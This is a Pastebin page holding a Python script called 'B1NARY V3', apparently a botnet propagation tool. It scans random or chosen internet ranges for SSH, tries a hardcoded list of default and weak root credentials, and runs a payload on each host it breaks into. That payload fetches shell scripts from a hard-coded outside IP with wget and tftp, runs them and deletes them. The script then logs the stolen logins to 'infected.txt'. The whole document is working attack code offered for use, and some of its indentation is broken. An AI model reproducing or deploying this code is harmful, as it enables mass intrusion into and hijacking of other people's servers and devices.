Advertisement
ZucoCheezy

BinaryV3-Scanner

Nov 26th, 2018
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 27.68 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. #MUST INSTALL PARAMIKO
  4. #yum install python-paramiko -y
  5. """
  6. Usage: python b1naryv3.py [threads] [A|B|C|BRAZIL|SUPER|LUCKY|LUCKY2|RAND|INTERNET] [IPRANGE] [1|2|routers|perl|ubuntu|root|vps1|vps2|vps3|r00ted]
  7. Skype: b1narythag0d
  8. Made Date: 7-2-16
  9. """
  10. """
  11.  
  12. # ___     __________  ____ _______      _____ _______________.___.  ___    
  13. # / _ \_/\ \______   \/_   |\     \   /  _  \\______   \__  |   | / _ \_/\
  14. # \/ \___/  |    |  _/ |   |/   |   \ /  /_\ \|       _//   |   | \/ \___/
  15. #           |    |   \ |   /    |    \/    |    \   |   \\____   |          
  16. #           |______  / |___\____|__  /\____|__  /____|_  // ______|          
  17. #                  \/              \/         \/       \/ \/                
  18.                             ***B1NARY V3***
  19. """
  20. import threading, paramiko, random, socket, time, sys, os
  21. usage='python b1naryv3.py [threads] [A|B|C|BRAZIL|SUPER|LUCKY|LUCKY2|RAND|INTERNET] [IPRANGE] [1|2|routers|perl|ubuntu|root|vps1|vps2|vps3|r00ted]'
  22. if len(sys.argv) < 4:
  23.         sys.exit(usage)
  24. os.system("echo -e 'ulimit -s 999999; ulimit -n 999999; ulimit -u 999999\n' > ~/.bashrc")
  25. os.system("ulimit -s 999999; ulimit -n 999999; ulimit -u 999999")
  26. paramiko.util.log_to_file("/dev/null")
  27. os.system("sysctl -w fs.file-max=999999 >/dev/null")
  28.  
  29. """
  30. ████████▄     ▄████████    â–„████████  â–„â–ˆ  â–ˆâ–ˆâ–ˆâ–„â–„â–„â–„      â–„████████    â–„████████
  31. ███   ▀███   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ ███  â–ˆâ–ˆâ–ˆâ–€â–€â–€â–ˆâ–ˆâ–„   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ
  32. ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–€  â–ˆâ–ˆâ–ˆâ–Œ ███   ███   ███    â–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–€  
  33. ███    â–ˆâ–ˆâ–ˆ  â–„███▄▄▄      â–„███▄▄▄     ███▌ ███   ███  â–„███▄▄▄       ███        
  34. ███    â–ˆâ–ˆâ–ˆ ▀▀███▀▀▀     ▀▀███▀▀▀     ███▌ ███   ███ ▀▀███▀▀▀     ▀███████████
  35. ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–„    â–ˆâ–ˆâ–ˆ        â–ˆâ–ˆâ–ˆ  â–ˆâ–ˆâ–ˆ   ███   ███    â–ˆâ–„           ███
  36. ███   ▄███   ███    â–ˆâ–ˆâ–ˆ   ███        â–ˆâ–ˆâ–ˆ  â–ˆâ–ˆâ–ˆ   ███   ███    â–ˆâ–ˆâ–ˆ    â–„â–ˆ    â–ˆâ–ˆâ–ˆ
  37. ████████▀    â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ   ███        â–ˆâ–€    â–€â–ˆ   █▀    â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ  â–„████████▀                                                                          
  38. """
  39. cmd='cd /tmp || cd /var/run;wget http://148.163.83.79/bin.sh;sh bin.sh;rm -rf bin.sh;tftp -r bint1.sh -g 148.163.83.79;sh bint1.sh; tftp 148.163.83.79 -c get bint2.sh; sh bint2.sh; rm -rf bint1.sh bint2.sh bin.sh\r\n' #PAYLOAD
  40. blacklist = [
  41.     '127'
  42. ]
  43. passwords = [
  44.     "root:root",
  45.     "root:toor",
  46.     "root:admin",
  47.     "root:1234",
  48.     "root:maxided",
  49.     "root:pi",
  50.     "root:alpine",
  51.     "root:r00tnull3d",
  52.     "root:r00tnull3d#",
  53.     "root:rootnull3d#",
  54.     "root:password",
  55.     "root:centos6svm",
  56.     "root:1234",
  57.     "root:123456",
  58.     "root:Love2020",
  59.     "root:Zero",
  60.     "root:Password",
  61.     "root:password",
  62.     "root:qwerty",
  63.     "root:dragon",
  64.     "root:pussy",
  65.     "root:baseball",
  66.     "root:football",
  67.     "root:monkey",
  68.     "root:696969",
  69.     "root:abc123"
  70.     "admin:admin",
  71.     "admin:1234",
  72.     "admin:Guest",
  73.     "ubnt:ubnt",
  74.     "guest:guest",
  75.     "user:user",
  76.     "test:test",
  77.     "pi:raspberry",
  78.     "vagrant:vagrant",
  79.     "localhost:root",
  80.     "B1NARY:B1NARY",
  81.     "tim:tim",
  82.     "CISCO:CISCO",
  83.     "netgear"
  84.     "support:support",
  85.     "oracle:oracle",
  86.     "cusadmin:password",
  87. ]
  88.  
  89. """
  90. â–„â–ˆ     ▄███████▄         ▄████████    â–„████████    â–„██████▄  â–ˆâ–ˆâ–ˆâ–„â–„â–„â–„      â–„████████    â–„████████
  91. ███    â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ        â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ ███▀▀▀██▄   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ
  92. ███▌   ███    â–ˆâ–ˆâ–ˆ        â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–€  â–ˆâ–ˆâ–ˆ   ███   ███    â–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–€  
  93. ███▌   ███    â–ˆâ–ˆâ–ˆ       ▄███▄▄▄▄██▀   ███    â–ˆâ–ˆâ–ˆ  â–„███        â–ˆâ–ˆâ–ˆ   ███  â–„███▄▄▄       ███        
  94. ███▌ ▀█████████▀       ▀▀███▀▀▀▀▀   ▀███████████ ▀▀███ ████▄  â–ˆâ–ˆâ–ˆ   ███ ▀▀███▀▀▀     ▀███████████
  95. ███    â–ˆâ–ˆâ–ˆ             ▀███████████   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ ███   ███   ███    â–ˆâ–„           ███
  96. ███    â–ˆâ–ˆâ–ˆ               ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ ███   ███   ███    â–ˆâ–ˆâ–ˆ    â–„â–ˆ    â–ˆâ–ˆâ–ˆ
  97. █▀    â–„████▀             ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–€    â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–€   ▀█   █▀    â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ  â–„████████▀  
  98.                         ███    â–ˆâ–ˆâ–ˆ                                                              
  99. """
  100. br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  101. yeet = ["122","131","161","37","186","187","31","188","201","2","200"]
  102. lucky = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180"]
  103. lucky2 = ["119.91","119.92","119.93","113.53"]
  104. lol = ["1","2","5","119","180","113","125","122","46","101",""]
  105. load = ["125.25","125.26","125.27","119.92","119.93","180.180","113.53","185.52"]
  106.  
  107. """
  108.   ▄███████▄    â–„████████    â–„████████    â–„████████       ▄████████  â–„██████▄    â–„▄▄▄███▄▄▄▄   ▀█████████▄   ▄██████▄     ▄████████
  109.  â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ      â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ███    â–ˆâ–ˆâ–ˆ ▄██▀▀▀███▀▀▀██▄   ███    â–ˆâ–ˆâ–ˆ ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ
  110.  â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–€       ███    â–ˆâ–€  â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ███   ███   ███   ███    â–ˆâ–ˆâ–ˆ ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–€  
  111.  â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ   ███          â–ˆâ–ˆâ–ˆ             ███        â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ███   ███   ███  â–„███▄▄▄██▀  â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ   ███        
  112. ▀█████████▀  â–€â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ ▀███████████ ▀███████████      â–ˆâ–ˆâ–ˆ        â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ███   ███   ███ ▀▀███▀▀▀██▄  â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ▀███████████
  113.  â–ˆâ–ˆâ–ˆ          â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ          â–ˆâ–ˆâ–ˆ          â–ˆâ–ˆâ–ˆ      â–ˆâ–ˆâ–ˆ    â–ˆâ–„  â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ███   ███   ███   ███    â–ˆâ–ˆâ–„ ███    â–ˆâ–ˆâ–ˆ          â–ˆâ–ˆâ–ˆ
  114.  â–ˆâ–ˆâ–ˆ          â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ    â–„â–ˆ    â–ˆâ–ˆâ–ˆ    â–„â–ˆ    â–ˆâ–ˆâ–ˆ      â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ███    â–ˆâ–ˆâ–ˆ ███   ███   ███   ███    â–ˆâ–ˆâ–ˆ ███    â–ˆâ–ˆâ–ˆ    â–„â–ˆ    â–ˆâ–ˆâ–ˆ
  115. ▄████▀        â–ˆâ–ˆâ–ˆ    â–ˆâ–€   ▄████████▀   ▄████████▀       ████████▀   ▀██████▀   ▀█   ███   █▀  â–„█████████▀   ▀██████▀   ▄████████▀                                                                                                                                  
  116. """
  117.  
  118. if sys.argv[4] == '1':
  119.     passwords = ["root:root", "root:admin", "admin:1234"]
  120. if sys.argv[4] == '2':
  121.     passwords = ["root:root", "root:toor", "root:admin", "admin:1234", "oracle:oracle", "root:alpine"]
  122. if sys.argv[4] == 'routers':
  123.     passwords = ["root:admin", "root:root", "admin:1234", "admin:password", "cisco:cisco", "netgear:netgear", "cusadmin:password"]
  124. if sys.argv[4] == 'perl':
  125.     passwords = [ "pi:raspberry", "vagrant:vagrant", "ubnt:ubnt" ]
  126. if sys.argv[4] == 'ubuntu':
  127.     passwords = [ "ubnt:ubnt", "ubnt:1234", "ubnt:password" ]
  128. if sys.argv[4] == 'root':
  129.     passwords = [ "root:root","root:test" ]
  130. if sys.argv[4] == 'vps1':
  131.     passwords = [ "root:maxided", "root:centos6svm", "root:123456", "root:Love2020", "root:Zero", "root:Password", "root:password"]
  132. if sys.argv[4] == 'vps2':
  133.     passwords = [ "root:maxided", "root:centos6svm", "root:1234", "root:qwerty", "root:dragon", "root:pussy", "root:baseball"]
  134. if sys.argv[4] == 'vps3':
  135.     passwords = [ "root:maxided", "root:centos6svm", "root:football", "root:monkey", "root:696969", "root:abc123"]
  136. if sys.argv[4] == 'r00ted':
  137.     passwords = [ "localhost:root", "B1NARY:B1NARY", "root:r00tnull3d#", "root:Flunzy2016", "bash:root"]
  138. if sys.argv[4] == 'brute':
  139.     passwords = [ "root:centos6svm", "root:root", "root:toor", "root:abc123", "root:maxided"]
  140. if sys.argv[4] == 'lol':
  141.     passwords = [ "admin:1234"]
  142.  
  143. """
  144. â–„â–ˆ     ▄███████▄       ▄████████  â–„â–ˆ          â–„████████    â–„████████    â–„████████    â–„████████    â–„████████
  145. ███    â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ      â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ███         ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ
  146. ███▌   ███    â–ˆâ–ˆâ–ˆ      â–ˆâ–ˆâ–ˆ    â–ˆâ–€  â–ˆâ–ˆâ–ˆ         ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–€  
  147. ███▌   ███    â–ˆâ–ˆâ–ˆ      â–ˆâ–ˆâ–ˆ        â–ˆâ–ˆâ–ˆ         ███    â–ˆâ–ˆâ–ˆ   ███          â–ˆâ–ˆâ–ˆ         ▄███▄▄▄       ███        
  148. ███▌ ▀█████████▀       ███        â–ˆâ–ˆâ–ˆ       ▀███████████ ▀███████████ ▀███████████ ▀▀███▀▀▀     ▀███████████
  149. ███    â–ˆâ–ˆâ–ˆ             ███    â–ˆâ–„  â–ˆâ–ˆâ–ˆ         ███    â–ˆâ–ˆâ–ˆ          â–ˆâ–ˆâ–ˆ          â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–„           ███
  150. ███    â–ˆâ–ˆâ–ˆ             ███    â–ˆâ–ˆâ–ˆ ███▌    â–„   ███    â–ˆâ–ˆâ–ˆ    â–„â–ˆ    â–ˆâ–ˆâ–ˆ    â–„â–ˆ    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ    â–„â–ˆ    â–ˆâ–ˆâ–ˆ
  151. █▀    â–„████▀           ████████▀  â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–„▄██   ███    â–ˆâ–€   ▄████████▀   ▄████████▀    â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ  â–„████████▀  
  152.                                  â–€                                                                          
  153. """
  154. ipclassinfo = sys.argv[2]
  155. if ipclassinfo == "A":
  156.     ip1 = sys.argv[3]
  157. elif ipclassinfo == "B":
  158.     ip1 = sys.argv[3].split(".")[0]
  159.     ip2 = sys.argv[3].split(".")[1]
  160. elif ipclassinfo == "C":
  161.     ips = sys.argv[3].split(".")
  162.     num=0
  163.     for ip in ips:
  164.         num=num+1
  165.         if num == 1:
  166.             ip1 = ip
  167.         elif num == 2:
  168.             ip2 = ip
  169.         elif num == 3:
  170.             ip3 = ip
  171. """
  172.   ▄████████    â–„████████    â–„â–ˆ    â–ˆâ–„            â–„████████  â–„████████    â–„████████ ███▄▄▄▄   ███▄▄▄▄      â–„████████    â–„████████
  173.  â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ          â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ ███▀▀▀██▄ ███▀▀▀██▄   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ
  174.  â–ˆâ–ˆâ–ˆ    â–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ          â–ˆâ–ˆâ–ˆ    â–ˆâ–€  â–ˆâ–ˆâ–ˆ    â–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ███   ███ ███   ███   ███    â–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ
  175.  â–ˆâ–ˆâ–ˆ          â–ˆâ–ˆâ–ˆ         ▄███▄▄▄▄███▄▄        â–ˆâ–ˆâ–ˆ        â–ˆâ–ˆâ–ˆ          â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ███   ███ ███   ███  â–„███▄▄▄      â–„███▄▄▄▄██▀
  176. ▀███████████ ▀███████████ ▀▀███▀▀▀▀███▀       ▀███████████ ███        â–€â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ ███   ███ ███   ███ ▀▀███▀▀▀     ▀▀███▀▀▀▀▀  
  177.         ███          â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ                 ███ ███    â–ˆâ–„    â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ███   ███ ███   ███   ███    â–ˆâ–„  â–€â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ
  178.   â–„â–ˆ    â–ˆâ–ˆâ–ˆ    â–„â–ˆ    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ           â–„â–ˆ    â–ˆâ–ˆâ–ˆ ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ ███   ███ ███   ███   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ
  179. ▄████████▀   ▄████████▀    â–ˆâ–ˆâ–ˆ    â–ˆâ–€          â–„████████▀  â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–€   ▀█   █▀   ▀█   █▀    â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ
  180.                                                                                                                      â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ
  181. """
  182. class sshscanner(threading.Thread):
  183.     global passwords
  184.     global ipclassinfo
  185.     if ipclassinfo == "A":
  186.         global ip1
  187.     elif ipclassinfo == "B":
  188.         global ip1
  189.         global ip2
  190.     elif ipclassinfo == "C":
  191.         global ip1
  192.         global ip2
  193.         global ip3
  194.     def run(self):
  195.         while 1:
  196.             try:
  197.                 while 1:
  198.                     thisipisbad='no'
  199.                     if ipclassinfo == "A":
  200.                         self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  201.                     elif ipclassinfo == "B":
  202.                         self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  203.                     elif ipclassinfo == "C":
  204.                         self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  205.                     elif ipclassinfo == "BRAZIL":
  206.                         self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  207.                     elif ipclassinfo == "SUPER":
  208.                         self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  209.                     elif ipclassinfo == "LUCKY":
  210.                         self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  211.                     elif ipclassinfo == "LUCKY2":
  212.                         self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  213.                     elif ipclassinfo == "RAND":
  214.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  215.                     elif ipclassinfo == "INTERNET":
  216.                         self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  217.             elif ipclassinfo == "LOAD":
  218.                         self.host = random.choice(load)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  219.                     else:
  220.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  221.                     for badip in blacklist:
  222.                         if badip in self.host:
  223.                             thisipisbad='yes'
  224.                     if thisipisbad=='no':
  225.                         break
  226.                 username='root'
  227.                 password=""
  228.                 port = 22
  229.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  230.                 s.settimeout(3)
  231.                 s.connect((self.host, port))
  232.                 s.close()
  233.                 ssh = paramiko.SSHClient()
  234.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  235.                 dobreak=False
  236.                 for passwd in passwords:
  237.                     if ":n/a" in passwd:
  238.                         password=""
  239.                     else:
  240.                         password=passwd.split(":")[1]
  241.                     if "n/a:" in passwd:
  242.                         username=""
  243.                     else:
  244.                         username=passwd.split(":")[0]
  245.                     try:
  246.                         ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  247.                         dobreak=True
  248.                         break
  249.                     except:
  250.                         pass
  251.                     if True == dobreak:
  252.                         break
  253.                 badserver=True
  254.                 stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  255.                 output = stdout.read()
  256.                 if "inet addr" in output:
  257.                     badserver=False
  258.                 if badserver == False:
  259.                         print '\x1b[31mINFECTING:'+self.host+'|'+username+'|'+password+'|'+str(port)
  260.                         ssh.exec_command(""+cmd+"")
  261.                         time.sleep(20)
  262.                         ssh.close()
  263.             open("infected.txt","a").write(username+":"+password+":"+self.host+"\n")
  264.             except:
  265.                 pass
  266.  
  267. for x in range(0,int(sys.argv[1])):
  268.     try:
  269.         t = sshscanner()
  270.         t.start()
  271.     except:
  272.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement